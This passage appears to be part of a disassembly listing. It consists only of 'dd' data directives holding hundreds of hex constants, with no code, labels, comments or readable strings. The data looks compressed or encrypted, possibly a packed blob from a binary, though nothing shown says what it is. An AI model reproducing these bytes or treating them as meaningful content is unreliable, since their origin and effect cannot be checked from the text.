		dd 6184D8Ch, 31B9ED4Ah,	0E1D61071h, 0BCF58B4Eh,	0E73CAAB2h
		dd 0B7C74CA0h, 0BEC6248Dh, 1957DF38h, 0E3429E14h, 1780AD3Ah
		dd 44BD624Bh, 3598861Fh, 3A98C679h, 6B828AB4h, 1629335Eh
		dd 1A0A408h, 0E5734EB4h, 30988B8Fh, 38BD6834h, 0DA92C7C3h
		dd 7FD1D8A5h, 802C720Eh, 19BD3884h, 0BA1D9FA0h,	0B8EF4AADh
		dd 915B8B09h, 34D8A7DAh, 0ADB98F80h, 22BD5C78h,	0FA727F5h
		dd 0DB4FBAC8h, 0C6A4F589h, 0A17195A4h, 0E088BC3Ah, 82727648h
		dd 0C2974A7Bh, 0D6B88142h, 0E9EBE019h, 0A0CC69E3h, 44B4A092h
		dd 0AEA2A14Dh, 0AC0A72E4h, 897A7AB3h, 454C1CF4h, 4B40534Dh
		dd 47009E8Ah, 41961A95h, 853BCAA6h, 6B43FEE4h, 98A257B3h
		dd 52A109C0h, 0D8408FD6h, 64F1829Ch, 978EEC8Dh,	6C9118DAh
		dd 25A18DB4h, 70CC460Bh, 0C7A35D7h, 3339B7FBh, 637889A6h
		dd 0B9CD8144h, 3B291B23h, 0F1F154C1h, 0C7C9620Ch, 27B0E0B2h
		dd 779DF531h, 0A35CB038h, 32BFB1C8h, 648F8FCh, 8B9628D8h
		dd 82DA282Dh, 53D66B64h, 164678C2h, 4135D540h, 0B8B9C08Dh
		dd 0AAB534E4h, 0BC2A8830h, 0B3A74F0Bh, 30485BF8h, 38433DD0h
		dd 0AE965C98h, 945EAFE2h, 0F3FF6BD2h, 0B4BC88F2h, 34244392h
		dd 0A409CFB8h, 5C88C76Eh, 0D30F20Eh, 42BDEC9Eh,	9158D7CFh
		dd 0F7B6C40Ah, 0C5EC8F30h, 8B4C44Ah, 0F7665CC6h, 585DE769h
		dd 0C2DD928Dh, 797C9F05h, 906B3A3Eh, 0CCF7097h,	5D9EB88Bh
		dd 8AD0ABE4h, 0D3DAAF93h, 6E59D1DCh, 0BDFCD636h, 811EC32Fh
		dd 928732Eh, 3877E632h,	820009ABh, 39DBF8C0h, 72B26CA4h
		dd 0F07F1101h, 0B2C1D1C1h, 2CFC71E6h, 8CFFE717h, 2AF5FE0Bh
		dd 8D3B0139h, 0CAD7484Dh, 0B0BAD5DFh, 0F890D776h, 0D88AB9BDh
		dd 53209E50h, 38453915h, 2D0EFBE0h, 0FC8342C0h,	3A9A256Fh
		dd 38F18CB6h, 84CF4EB6h, 0F28CE199h, 0D18CFDC4h, 0D28CF9C4h
		dd 0F5BD80A3h, 0E012B8EAh, 0C5701A35h, 7CAC8640h, 0E39888B6h
		dd 0AAC08AADh, 0BD88D8CBh, 81BB7205h, 3F7F0B6h,	4E94FDF6h
		dd 884975F1h, 7E2BC5B6h, 0F0082B56h, 9343ADBDh,	7D3B7C87h
		dd 0D9434BB4h, 0F36C981Dh, 0F263C2B3h, 732E8C9h, 9AB6E7F7h
		dd 8474D49Dh, 90000A31h, 4680D451h, 6D316C61h, 0F5392F6Bh
		dd 4FE9F3F7h, 7AB93D8Eh, 93B196B6h, 27BCE3D8h, 4ABBD040h
		dd 0D6A8E39Dh, 0DFB9F0E3h, 297085D8h, 5E8728BDh, 82F13083h
		dd 0B80CEEBAh, 8DC8E08Dh, 0EF0EA4F4h, 38D7EA51h, 72B5EB67h
		dd 6FA33844h, 2D9EB931h, 4F4FCA74h, 0B4779035h,	0EBF6942h
		dd 303B7E94h, 3539E3A6h, 78799678h, 0F6A2154Ch,	1825D1Dh
		dd 292D5021h, 0CBAFE3EAh, 8107B7C7h, 0F450C12Eh, 32B3C9DCh
		dd 0C363DDB5h, 8372F6A4h, 58B191A0h, 86C738A7h,	5F60C8E4h
		dd 0EFC0BED5h, 3C2D88BCh, 710ED545h, 79F5464Ah,	0C3C5B1A6h
		dd 3AE310D8h, 2474E3E3h, 44CB2390h, 0EDDEDC2Bh,	7C444D62h
		dd 7D3576BAh, 0A918E6B3h, 91B4B2C9h, 0D7B17F7Eh, 0B3C8F30Dh
		dd 2750FD17h, 0A25193D0h, 866AE137h, 0F1C16BD0h, 19C067FFh
		dd 0F65D47DFh, 0A45F9FB2h, 0A87B3D3Ah, 0ADD2483Ah, 307A3574h
		dd 0A2C55149h, 494D364Eh
		dd 3879AF0Eh, 2D385435h, 714EBE5Bh, 2E4E3DAFh, 6BFCE44h
		dd 0D279B570h, 9BB9BBE3h, 0D03EE076h, 0DC37BA00h, 0A0A6ACE3h
		dd 0E9BBD41Ch, 0A4C0DE51h, 8F51F7A1h, 33181FFDh, 32CA263Eh
		dd 0F932E9E9h, 0B4C0EC2Eh, 6A61A44Bh, 76E8E35Ch, 0D8B9DACFh
		dd 1A96F4D4h, 0BABA3025h, 8591A391h, 4414B4E9h,	9065AAC0h
		dd 8619F393h, 94EFEE90h, 6062CC8Ch, 66452060h, 0E5A04B2h
		dd 3965D97Ah, 66E958C5h, 9A1C64C5h, 0B03549EFh,	4C4CBB4Eh
		dd 2A329959h, 0D5588CF5h, 342EE533h, 949866E7h,	9544C3B7h
		dd 401FE766h, 0F327F15Dh, 70999829h, 309474EDh,	725DA16Eh
		dd 5B8870E1h, 874288E9h, 68C2CC9Ch, 5F39A380h, 39BC1045h
		dd 4CCD6E51h, 5887A0B2h, 0C4FDD53h, 84A088DCh, 711408F1h
		dd 39AA9927h, 663B9A05h, 7DF6B665h, 34C9E960h, 2E8059DDh
		dd 2583E6E3h, 18E2DA8Eh, 0B9C5D030h, 73119C1Bh,	188804A8h
		dd 24D37251h, 77B49BADh, 0A2E0A172h, 78327F6h, 81A7470Eh
		dd 0FBF9B90Bh, 0DA10D68Ch, 9A7181AEh, 96402D52h, 3DF144F4h
		dd 0CEC151ABh, 4C4C5798h, 69326307h, 4C4C4EF5h,	27C8B941h
		dd 438BCD82h, 9061CC49h, 9D970601h, 0C3455987h,	5531F3FBh
		dd 0C540C58Bh, 7E877ED9h, 6C6C0D42h, 781BEC27h,	0AB9D51BBh
		dd 0BF9CF706h, 3B6F74AFh, 79836A0Dh, 25914B8Bh,	8FC589EAh
		dd 0C4B241A0h, 8B0FF1B8h, 0B744C27Fh, 0CF5EB10Ch, 0F04F3385h
		dd 3439BDC3h, 0EA53863Dh, 51F3A38Bh, 3EBFD7B3h,	80CC1E2Fh
		dd 1F96BA53h, 72780980h, 0C8974791h, 0BA9046A2h, 74A6DEA0h
		dd 0D3BFB3FEh, 8F93DFB2h, 0CF8C3F5Ch, 59253BFFh, 3D8AC663h
		dd 0D4B8035h, 0BAC47B9Ch, 965B7A70h, 0ABC3BDFAh, 0DD2B553Dh
		dd 0E03BC867h, 0F0D3A021h, 8B5CC284h, 0E1E644A7h, 5B6BE6AAh
		dd 22A57BA8h, 3E58BC80h, 373F4395h, 0BBF6C333h,	0BFB8594Ch
		dd 7B90663Eh, 1DE0B273h, 54549354h, 7E639046h, 0B88438FCh
		dd 0F7919810h, 0A5B42D38h, 0DF7D95E9h, 0B5503551h, 0DD825520h
		dd 986B3488h, 0B08DE399h, 2453E91Ah, 7AE3DD53h,	0E2F73567h
		dd 3733F1E8h, 0B68820EFh, 2B090434h, 0BCA859F3h, 0B72B0202h
		dd 0A6E7A18Bh, 12DFC444h, 0A6A5207Bh, 0BCE8E3AEh, 21392689h
		dd 0EEB9873Eh, 0E06847E3h, 0A370E806h, 0E3686BFBh, 0F89A704Bh
		dd 8607726Fh, 677A93AAh, 364851B1h, 6FC9D65Eh, 838DB4BFh
		dd 0C6A47197h, 99C61B5Bh, 0A421C51Fh, 83F1E6B7h, 60197C84h
		dd 38855C0Eh, 2BF8D4B1h, 0BE3697C7h, 0BBCA95B0h, 21212121h
		dd 84888CF0h, 21212121h, 94989C80h, 21212121h, 0A4A8AC90h
		dd 21212121h, 0B4B8F4A0h, 217F93D6h, 48064CB0h,	2940A744h
		dd 0B8F78C3Dh, 0BB0C7004h, 0BDF84A3Ch, 9F0638ADh, 245C2CEAh
		dd 5E2FFA69h, 2B5EF69Fh, 2B7C3C3Ch, 7BBCB4A4h, 0C6E92103h
		dd 4CA75F05h, 9344BB5Ch, 40939393h, 0A4545850h,	649393A8h
		dd 0C107C96Ch, 8D33CE84h, 0CD8417D0h, 80AB0574h, 0D8736220h
		dd 80D896E0h, 0B80DA4A1h, 2E34064Bh, 4B78D373h,	300C7066h
		dd 1F73F8B9h, 8FBAB668h, 0E6E77879h, 0D24F83E3h, 4F0F17DBh
		dd 0A4CD70BBh, 94E43BF7h, 6A47FFA0h, 962B6833h,	957DAC39h
		dd 0AC868437h, 0E0A8ACA8h, 9FCD9F08h, 0A87FA8C5h, 0DBC6C9CEh
		dd 3B412BCFh, 0BEA0A268h, 0A6F15B63h, 6B0EE482h, 6196EF4Fh
		dd 6169615Bh, 0BB68615Ah, 8E44C56Bh, 33D44740h,	0C863783Bh
		dd 15827F4Bh, 0C261B356h, 0C7FE8BBEh, 8BB7C2B8h, 5808E985h
		dd 80FEB1C6h, 0D06933FFh, 510F51FCh, 0EBB06A33h, 2947EFEEh
		dd 0C754DC57h, 98BB7C60h, 659E9C06h, 8DA19575h,	1E4B450Bh
		dd 0A4294186h, 9D5E7300h, 9FB13590h, 8D5F4E9Eh,	599B5CC3h
		dd 513BA974h, 0F03BB83Bh, 0C22E0B4h, 78782035h,	0FC2B562Fh
		dd 0F471FC62h, 0BCA0A401h, 3246BD4Ch, 8582EC33h, 615961BCh
		dd 843C3C6Bh, 437901A3h, 7888A4A8h, 0BCA02390h,	6D06EBEEh
		dd 0E323E3E5h, 29116DE4h, 6C6D1DCDh, 72BAB8BEh,	6DE05BA7h
		dd 607D05A0h, 6D9ABC1Eh, 0B821A478h, 0D90CA4A0h, 0BEBC6736h
		dd 9BB8C6B8h, 0BCDEABC6h, 0BE1C83FDh, 4829BCB8h, 3ACB8282h
		dd 0BB240576h, 9C192808h, 303C8283h, 36F4F3B9h,	9BD84020h
		dd 350DAC49h, 0A313EDh,	605DBD33h, 0BD4F5F8Bh, 5C1C99D0h
		dd 216FF0BDh, 39A80721h, 8C18ABB8h, 0B0A81411h,	88A1C813h
		dd 0D0AAF402h, 4D6E1373h, 9727EE36h, 2D697674h,	40ED2E10h
		dd 0D81880C7h, 0BCB444A0h, 12FFF043h, 3FD78811h, 0F5CE4D62h
		dd 0EBB53D24h, 0F3A3A884h, 2C31408Ch, 0D174200Dh, 0B0BA6B96h
		dd 0D442B874h, 906F40B0h, 113890DCh, 39801094h,	47303CC5h
		dd 8E4BCA2Eh, 0F68AC592h, 8AB63AA0h, 42AB0173h,	0AE24C794h
		dd 0C690B420h, 0B42DD542h, 142B9F51h, 0F54604F0h, 0A1C4B160h
		dd 4D494E12h, 0BE5B64E1h, 68C690E7h, 0BADA455Bh, 0A19384E8h
		dd 90F18604h, 90C377EEh, 0AD289FADh, 9745CACh, 0B9CEBF1Ch
		dd 0E038FD39h, 0E920B8E1h, 0BC691CE9h, 38C1EDF3h, 0BBCC77ABh
		dd 0DE3921B6h, 0AC1738A7h, 0B4C76E30h, 0B2C9343h, 0B0B1B8B3h
		dd 0DC5C6632h, 109FD729h, 0D4DDA2BDh, 0BB2AAD54h, 3B04001Ch
		dd 3939393h, 0A8A0A4A7h, 2EF6F790h, 0B8044C93h,	3C044044h
		dd 488C3C3Ch, 3C5C5458h, 6C3C3C3Ch, 3C605068h, 7C3C3C3Ch
		dd 3C707464h, 783C3C3Ch, 3E0C0408h, 1C3C3C3Ch, 5B00018h
		dd 0C9A9AB82h, 93BCB43Ch, 0D4D4D414h, 2CBB1086h, 0D4D42428h
		dd 3420D4D4h, 0D4D4CC30h, 0C4C8D4D4h, 0D4D4DCC0h, 0D4D8D4D4h
		dd 0D4D438D0h, 0E4ECD4D4h, 0D4D4FCE0h, 0E8F8D4D4h, 0DB688CF4h
		dd 0F088D4D4h, 0A5B15A84h, 0B09AB002h, 0B0F0AC30h, 0F14F7D69h
		dd 0B0DCDCD1h, 0DED99EDCh, 0D7DFDCB0h, 5D492BA3h, 0C2D8C44Eh
		dd 0C3D4D1D5h, 0C5C3F8BFh, 0D9DBB0D2h, 8FB0DBE6h, 0B02B21A9h
		dd 1BC4C5DFh, 0FC0C4C4h, 9ECF5C6Dh, 0C4D1C4C3h,	0A9D6D3D9h
		dd 0C2BEBCC3h, 0D9D49EDDh, 7B4C0FD5h, 0C7DFDE93h, 0C3C6D4D1h
		dd 0C3DED1D3h, 0C0D9B0D3h, 495FC7CFh, 0D5D7C79Eh, 0DE87D4C4h
		dd 80FF8925h, 0BACADCD6h, 9E4647C6h, 8D4C0C5h, 0C2C784C2h
		dd 3B15FDBh, 0E049B6DFh, 914FB08Fh, 95B0F0C6h, 426CB1B6h
		dd 8F0FB3D0h, 0B7CC76D8h, 0F6B0B2B5h, 109420BDh, 0C408B132h
		dd 87CBA0E9h, 3ACF4FA7h, 0E3E9E3B0h, 0ECFDF5E4h, 0C2C2C5F3h
		dd 0CDC4DED5h, 0F36F49CFh, 0DFC2B7DFh, 0C4D5E3DCh, 0D9C6C2ECh
		dd 0A1C3D5D3h, 5E5FD1D8h, 0D4854BC2h, 0C3A6D3F1h, 0DDD1E0ECh
		dd 0F6A5878Bh, 0CB04755h, 0DC79DD9h, 0D3D9EFE0h, 6F4F5DC9h
		dd 0DED1C447h, 0E0D48BD4h, 0DCD9D6CFh, 0C5F1ECD5h, 0C2DFD8C4h
		dd 0C0C4CAD9h, 0B16D4Ch, 935F2C0h, 0C3D9FCDBh, 934EF6C4h
		dd 0C395FFB2h, 958A9A8Ah, 0B8F82C3h, 0E599D0F3h, 8A976DC3h
		dd 0B28480B3h, 3888E78h, 693646C0h, 8AB2B3AFh, 8CAEBD9Fh
		dd 0BDD5F388h, 0C983E4EFh, 6BFB5E7h, 0D90A986Fh, 0D5C8F5DEh
		dd 0D5A587D3h, 7336EC0h, 0D5E2A0DCh, 9BFD21D1h,	0F79EC8D5h
		dd 0BE4B696Eh, 0C4AFFC39h, 9DF73F5h, 0C48DC2F3h, 0FE67B45Dh
		dd 22F6AFF1h, 0B7DCAEACh, 0DF0CA303h, 9174F8CBh, 0DEBDDBAFh
		dd 0CE40EF6Eh, 9E828315h, 90C7DC91h, 9EED9BEBh,	72479EBEh
		dd 90AF730Eh, 9992B992h, 0B591B7A7h, 4AC8D1Ch, 0FF98A2F0h
		dd 908A97D9h, 4E6BFF99h, 0DFC6DD78h, 90E3C4C5h,	8ED9958Ch
		dd 5CDEAEADh, 0DFFE4D26h, 978AFC90h, 0E6A9F9E7h, 476D3FDEh
		dd 0C4E9D4A6h, 0FE572598h
		dd 46FBBF9Eh, 9B5F8B7Ah, 0F6AEC3DCh, 0DB99DB23h, 9607DF07h
		dd 0C290D1B4h, 9E3DDEC5h, 62BFD6FFh, 909C84CEh,	0C2659FD5h
		dd 50779491h, 0DE897537h, 0DFDDF5A4h, 0B226F0C6h, 0DBC2775h
		dd 0A92BA59Fh, 9EC67BF6h, 47C2E8EFh, 0ACD75F40h, 0F89EF6DBh
		dd 0D4D1D2AEh, 0DD5BD690h, 974FDE3Ch, 0F1F6B1DAh, 0F4F5FCF9h
		dd 0D4DDD390h, 0E5339A25h, 71F78870h, 0D3DF7180h, 61E6DC3Eh
		dd 90FCF446h, 0EEFCE2E5h, 32C68B70h, 9D87BC60h,	0BACEBDEh
		dd 0ED78E5C8h, 0DEB19DDDh, 0C0A5D177h, 0D4B4C531h, 78903DE8h
		dd 0EBBC8C84h, 0CAF40F90h, 2C62CFDh, 9908B104h,	93CDE3E6h
		dd 124BA003h, 0C7A10B6Ah, 0F713CDD9h, 0D440CD73h, 0D69BEFCBh
		dd 5537CA90h, 0D3039437h, 0AC9AC3DFh, 0FF0D71DDh, 0ADBECF84h
		dd 0D7A1C3C5h, 85CA2F90h, 0FDD1B8D0h, 5802C5C1h, 0D9F6DA06h
		dd 0F4E2AFA1h, 0AA80DDDFh, 5C03EB2h, 3A0DECF5h,	7FD3BBC7h
		dd 77C0B8C3h, 4D581D9h,	0DAA20747h, 9D925F73h, 0C24992D1h
		dd 9B47D2BEh, 92D33301h, 0DCC5A31Fh, 0BCA88A41h, 0CFDFDE6Eh
		dd 658FCFC0h, 1333BCC8h, 7BDE581Bh, 87BCE0B3h, 0E3D6DBB4h
		dd 6FF6D69Ch, 5E466AD9h, 0C8A995BDh, 0A5C8A6B2h, 0ACEB5F3Fh
		dd 0CB34C0B6h, 5DC6DEB5h, 4046D1D9h, 0DCF13FD0h, 0DEFFC9ACh
		dd 7336BF0Dh, 90FF14F4h, 0DD27DFE4h, 5032F51Bh,	8EBDC989h
		dd 85A69DBh, 0CDD6DEC8h, 0DA8EA7DDh, 1AE5CC0h, 0B32FEFD5h
		dd 97AC499Eh, 0E6590169h, 0C4D8C4C4h, 0A66542E9h, 0DF9FD590h
		dd 3D2DD6D6h, 0DC38702h, 0BEA8C7C0h, 5CBCA249h,	0CF92EDB9h
		dd 9CDF1FA7h, 0BD4FB7B1h, 3B8B829Eh, 0B8C67183h, 900D1C17h
		dd 0BBB091D8h, 0BFBFA672h, 0EC375837h, 7FE9F507h, 0F4F9E0EFh
		dd 0F1366Bh, 0F5057FA5h, 0F4FBEBE6h, 739BF7EFh,	8FA9B540h
		dd 0D6819E90h, 9087F2FBh, 61BABCh, 0E89FAFF0h, 0F0CF6F17h
		dd 0D7F3C98Eh, 0FB88C8E8h, 0E0C88887h, 1F9DC5A6h, 0F0A53313h
		dd 9D4C9DC4h, 0BFF3B027h, 0FFA63F47h, 95C2D989h, 97C9C3ECh
		dd 5DBF8375h, 0F776B20Fh, 0A8E738EFh, 4899027Ch, 0F5E6A5A6h
		dd 4F0F4F4Fh, 3DBBC724h, 0CA7E8D08h, 0A4F0A6ADh, 7EC11425h
		dd 0F275A1CCh, 7D1D4C94h, 7874DF29h, 0FF4E4F1Dh, 0E79FB001h
		dd 0A6F724E5h, 48951433h, 0BDBEA7CEh, 0CCE1D460h, 0B005C87Fh
		dd 0A74B48BFh, 4CB8B74Ch, 0D6CF4F22h, 64FBF397h, 620B9F5h
		dd 0BCDD4E8Fh, 78C6F134h, 3A8F5D89h, 0F332A8FCh, 0E3003CFFh
		dd 4D1AB29Bh, 0FBB78EF8h, 0E02CAF2Dh, 8E7511B2h, 0B9C26FDAh
		dd 21AE93B8h, 4F4FDBA7h, 3002074Fh, 0C00CD3C7h,	0A435139Ch
		dd 7383E071h, 0B70C6FDh, 4BC23960h, 99553941h, 4F4F8A19h
		dd 321C4F4Fh, 59E2FD14h, 2611D34h, 14267E37h, 0EF1110B3h
		dd 5E8924D8h, 208D2728h, 28597CF2h, 1A8F2F64h, 1CC845B8h
		dd 0FBD73A6Eh, 0D1E039F2h, 0AA42F0B0h, 0A2850220h, 2487397Fh
		dd 0DED9D1DDh, 5C83A738h, 15153704h, 0D3C2D987h, 0A5DCD4A7h
		dd 396BD0F1h, 0F4F4A747h, 0B6A8FFC1h, 5CF79EB1h, 0F58EA7CFh
		dd 0AD2D1DEh, 0C2D3D9FDh, 0D6DFC3DFh, 0BE9390C4h, 8791C16Dh
		dd 0AC76B5ECh, 0A591BBBBh, 1DBEE72Fh, 0C46FEF35h, 0ABFBDFE4h
		dd 9DDD5549h, 0DDD9E44Ch, 87B1ACD5h, 3E874E80h,	33C7BFF3h
		dd 0D5D4D9C2h, 6BAFC49Eh, 0A3D78511h, 0D2C3C587h, 0D339FC8Fh
		dd 3F7EE093h, 9598908Fh, 238F7D4h, 99B59D0Ch, 21FCCF9Fh
		dd 0DF6E21CEh, 8090F9D7h, 0DDDFD390h, 0F0DDCC0h, 2938FAA7h
		dd 95F58CA4h, 118EC9C4h, 0AFD9F03Dh, 93CAC763h,	0E5B1B48Eh
		dd 0ECE2F5E3h, 9080909Ah, 0F732AF00h, 9FBABD27h, 0FBF3F9FEh
		dd 0ACA3AF90h, 0F1E04BADh, 0FCA7E3E3h, 0F7F4C61Bh, 8E5E764Eh
		dd 0E4F9E5E1h, 0B88FBE98h, 0F7FEFFE0h, 63C680FFh, 2FA7F9C7h
		dd 0E6F9E20Fh, 5D5FDD2Dh, 77F7E3FDh, 0F59BE4FFh, 0E2F187CFh
		dd 2D6A68A5h, 0D9FFFABFh, 6B83228Fh, 0CF01019Eh, 0A76FEE99h
		dd 0FBAB9CC0h, 0FBA917ADh, 0EBFBABEBh, 9FBF8717h, 0C6069517h
		dd 0F4FFFDEFh, 4797ED42h, 91041BD8h, 0A79D3EA9h, 4B8D2F5Dh
		dd 0FBBE9D15h, 0E0E8BF83h, 0FDB7A69Dh, 91575F5h, 8889BFCCh
		dd 0E385E4FEh, 838B99E0h, 0EDF00D5Fh, 0CCBFD9DEh, 0FCD6DEC6h
		dd 0B0FD8463h, 0B0B0B0B0h, 6F32DD8Fh, 0F9829EFEh, 0B7C58486h
		dd 0F9F1B6F4h, 906FEFFDh, 0E3F34E27h, 0FFDED7D9h, 0B68E39DEh
		dd 53AFFEE3h, 7BF83FAEh, 0DFC79B7Dh, 0B221F3C7h, 8628F12Dh
		dd 708AEB16h, 2FB5D3BDh, 44E2E3D1h, 9EFE27F6h, 0D94DE3C6h
		dd 0CF094E27h, 0C7DCD8C3h, 0EDD9C0D1h, 0CA3E13EBh, 0FD16E34Eh
		dd 0BC9C2EAh, 0F9446700h, 1FDFD6DEh, 0B589DDC5h, 46EBDEAFh
		dd 0D4DFFDA7h, 3799DCC5h, 0BF2F2AFh, 0FE031164h, 489FF19Fh
		dd 0B4BD5AA2h, 0B017F59Eh, 0D8CCC3C0h, 0E3BB9B44h, 0C3F4FCE1h
		dd 5BADE45h, 0C4FBAD0Ah, 7BF3F6AFh, 0EA5E626Ah,	5FE1F1AEh
		dd 25F09791h, 0DF063C46h, 0D022D7C2h, 0F34A06A5h, 25C4F1C6h
		dd 8DF69D17h, 0C24B4628h, 0A7B01DF3h, 4AE3D3D2h, 0F6265FB7h
		dd 15D8F3F8h, 0C4DF85D7h, 0B0C9D6D9h, 259E216Ah, 0F1430237h
		dd 0CA25C3AEh, 0E7D9C6B7h, 58F37BFEh, 0FE5CE7DCh, 822A01DDh
		dd 0F187B0E7h, 95756A86h, 0D9F3CFF1h, 5C1F19Fh,	0C269D11Dh
		dd 0B67720F7h, 0C0D4E548h, 0E4AF14E4h, 1CCDCFD3h, 0ADD6F90Dh
		dd 0F9C6D527h, 10BFEC0h, 7B90BE23h, 0CEFD90F7h,	0D9AE8EF0h
		dd 0F4C0A1C0h, 0DCF6C3DEh, 0B13E5140h, 0DFC3D6EFh, 0D3D1DCDCh
		dd 0DC71DCF6h, 91EFCB43h, 9BE819F7h, 2BD48773h,	4B3BFE46h
		dd 0D1FE37F3h, 0D6C5F20Bh, 3389E7D6h, 2BF4DE03h, 0D0942686h
		dd 6BAD053Fh, 2AAF7497h, 24718191h, 0D1AFE48Fh,	0CE1331Bh
		dd 0AFC9E47Dh, 0BD368D0h, 0C8674FF1h, 27EBE397h, 0B2F22146h
		dd 0C5D2DFFAh, 0DBDD1D9Eh, 0AF69286Bh, 0B48AAF69h, 0CBD33DF3h
		dd 5FD3B906h, 0D3F941D0h, 9F52E8Bh, 0C51AAFDFh,	969FEA11h
		dd 3AAC8C7h, 96D95FEBh,	0B0CA8137h, 0FAF4CBAh, 9E849FD1h
		dd 6C989080h, 0A8151D2Ah, 0CFA6829Fh, 5DFBBCDEh, 1F417E34h
		dd 969FE29Fh, 2BBF3C6h,	0DB91C2E7h, 0BDED6AE5h,	0F1DCC25Dh
		dd 0DE4BFF37h, 3BEB979Ch, 0C7F18BB6h, 9406F0B1h, 0C4F6564Fh
		dd 0C4C5E0C0h, 9AD5F7AEh, 0F8D97185h, 56E24F75h, 0BEBEDC3h
		dd 1696D76Bh, 5BF70797h, 0D14E8B2h, 0A4C48DA7h,	0BE29D826h
		dd 0C88FF73Fh, 0E51E7314h, 4B018CD9h, 81818C8Ah, 0D3A62883h
		dd 0DE782886h, 8F57A580h, 2568187h, 2AB36771h, 4BB6AF62h
		dd 0A7F1D040h, 0D4E5C9D2h, 0AB04AFC2h, 0AFF25DDCh, 0ADAF2AEFh
		dd 0C37951E6h, 0B43C0DFh, 0EB18706Eh, 63CCA605h, 0D0A5DC8Eh
		dd 0D2030961h, 0C6A407D9h, 0FAD3DD46h, 8737A724h, 36BFDFC4h
		dd 27779E2Dh, 0C3BF41A9h, 627E5EBEh, 0BEDED8AEh, 0B3EF68AEh
		dd 0EFBBDD1Ch, 0A6D1E0A7h, 0EEB8A68Bh, 0A1DF9EFBh, 85A55FDCh
		dd 0E78E8CCAh, 9FEDF1E3h, 20B7F21Bh, 0DAF7A9Dh,	47CD0CB7h
		dd 0A6CCF996h, 0F6AAEFEFh, 0C3C3F9F4h, 0D1735006h, 89C3F187h
		dd 0EF1FE3D3h, 8B860529h, 0AFF10DE3h, 63EA5388h, 0C3C7773Fh
		dd 4783EF82h, 5E630F69h, 32DAD2FFh, 0A6F3F4AFh,	0F2C4D9F2h
		dd 0F0529ADCh, 0F70F0600h, 0C8F2B9F8h, 4D757099h, 963BC22Dh
		dd 0EAD87D5h, 0C079463Ch, 4F3279Eh, 0E1FD9D01h,	0E3CC9F13h
		dd 0B6E8A88Dh, 0D4F397CDh, 0A201D4D7h, 7CC1E532h, 61756D11h
		dd 0C3C57249h, 0C22AD7EFh, 63C7A180h, 0FFC46A59h, 0DECAC26Bh
		dd 2701D128h, 0F4F3B4F3h
		dd 93D1B3C3h, 877FF7BCh, 2687468Dh, 0D64FCB33h,	0C382D7D9h
		dd 0D50BC5E1h, 0C99D5C87h, 5B32FC85h, 0C013FC8Bh, 0F9A0509Eh
		dd 0A73F00DDh, 30F2EB40h, 0FFD40317h, 0A0915FDEh, 0E141A8D4h
		dd 88D0B8A0h, 0E772AAD9h, 9006A6A1h, 759DF947h,	71C0B1B6h
		dd 0C5F2C2E6h, 3CC6B5C2h, 1FC9735Eh, 21BFD3C3h,	0D0F6A093h
		dd 0BD7D1FA5h, 0F7F11FD3h, 0A9992546h, 773ABD07h, 0E40A9481h
		dd 91233D00h, 0D702AE7h, 0AD8646B5h, 1BFDF3AFh,	40F740EEh
		dd 0C3FCCDF3h, 0B1C4FED1h, 6F1DFE4h, 0DB7F9112h, 0E034AD87h
		dd 74A79C90h, 9190FFD1h, 8965AF06h, 71751704h, 0E2A7C5DFh
		dd 0DFC32DB7h, 31DDEBB7h, 0F9E813Dh, 6138F868h,	9E3DDBDFh
		dd 0BC739737h, 0AFA47333h, 82C3D332h, 0BDB60CEBh, 0B017B0F7h
		dd 0F880970Bh, 714E50CCh, 713D46BBh, 0DBD3D3DAh, 0C0D2E096h
		dd 17FF5770h, 629A9889h, 0A09D7906h, 867B9DC5h,	2FB77392h
		dd 0D9F697C9h, 76E4ADBFh, 5E50F695h, 86248CFBh,	0CCC9D5FBh
		dd 0DBD1AD96h, 0AF2FE66Bh, 769B788Ch, 0EFAE739Ch, 1DDD3790h
		dd 31DD1D15h, 0B67F33AFh, 95266D83h, 93DC963Dh,	68551520h
		dd 976B7D07h, 0DD93F3B9h, 39BF93C4h, 0D733E481h, 3913D62Eh
		dd 968D6A91h, 6837E621h, 2CE693DEh, 739BAF47h, 0CF2CDD36h
		dd 0F3E591ADh, 0F9BCB7D2h, 0D0808F3Eh, 3F12A673h, 0A934B91h
		dd 0C9A37500h, 6A2FA5AFh, 0B9C4C8ABh, 0F1DFD245h, 0E53A8637h
		dd 0B7A093EAh, 829BD0FDh, 0C90ED0BDh, 0B9690025h, 0A286C731h
		dd 0FC91DEABh, 419EBF68h, 90D33390h, 0C5195768h, 0F1B89B26h
		dd 774FEA5Ah, 9BB01CA8h, 8CC55087h, 0C23138DDh,	0C0E01767h
		dd 0FEFCB4D4h, 1E40A064h, 0BFFBB161h, 0CF3AF38Fh, 89E73D66h
		dd 0F182EBD5h, 2F0B110Fh, 0C9E4F681h, 11AE08C0h, 3E61DC1Bh
		dd 0A39D69D3h, 0C445C2h, 0E7C39346h, 0E35EDBE1h, 41628590h
		dd 71A9D359h, 72A6B240h, 0D316BB13h, 31F24D39h,	0C8D5FE91h
		dd 0B841F1AFh, 87F7B014h, 48A69DDCh, 85C0092Eh,	4777DEE3h
		dd 34BBE400h, 645FE8Bh,	5663C76Ah, 89B88081h, 0B7888681h
		dd 0B0BE8289h, 0E92A8FCAh, 669E9687h, 0D6E1D3D2h, 0F4BCE6Dh
		dd 0DBDAD98Fh, 0DFDEDDDCh, 0C562C1C0h, 0C9C8C7C6h, 14B12FCAh
		dd 0E9924F64h, 0E2F5E6B1h, 0FEFFF9E3h, 5EB240A6h, 0BAB0CD2Ah
		dd 95EFB287h, 0B0A641DCh, 98D32B94h, 0A3C26FCEh, 8384B666h
		dd 83678283h, 80805987h, 56471185h, 8686BF4Bh, 818283A7h
		dd 1FFE4B0h, 0FCBB6F3h,	0B3E7F6Bh, 2EE2FFE2h, 40E4B3D3h
		dd 0EDB7BBCFh, 85848382h, 89888786h, 7D621BEBh,	0FBF8B7DFh
		dd 0EFE9F5E5h, 897E338h, 0F3AD6B6Fh, 0E5F39F64h, 0E4FEF563h
		dd 779562BFh, 0F9F6278Eh, 0FCE28FF7h, 0EBE2307h, 0EFE3F503h
		dd 0CF40FFADh, 9E6322E5h, 0FC8F0E95h, 40409BFDh, 0F3FFFCCFh
		dd 0FDEFFCF1h, 0C1F8F3F1h, 0C0C657F5h, 0D7EDF06Fh, 75BFEFF7h
		dd 5F23AEF4h, 0E5FD790Fh, 0F9E4FCBFh, 0F6EAE3EFh, 6D6AE8F5h
		dd 0E0BFCFDDh, 99F4FEF1h, 0CFBE96B8h, 0CB8D6BDEh, 0FAF9F2EFh
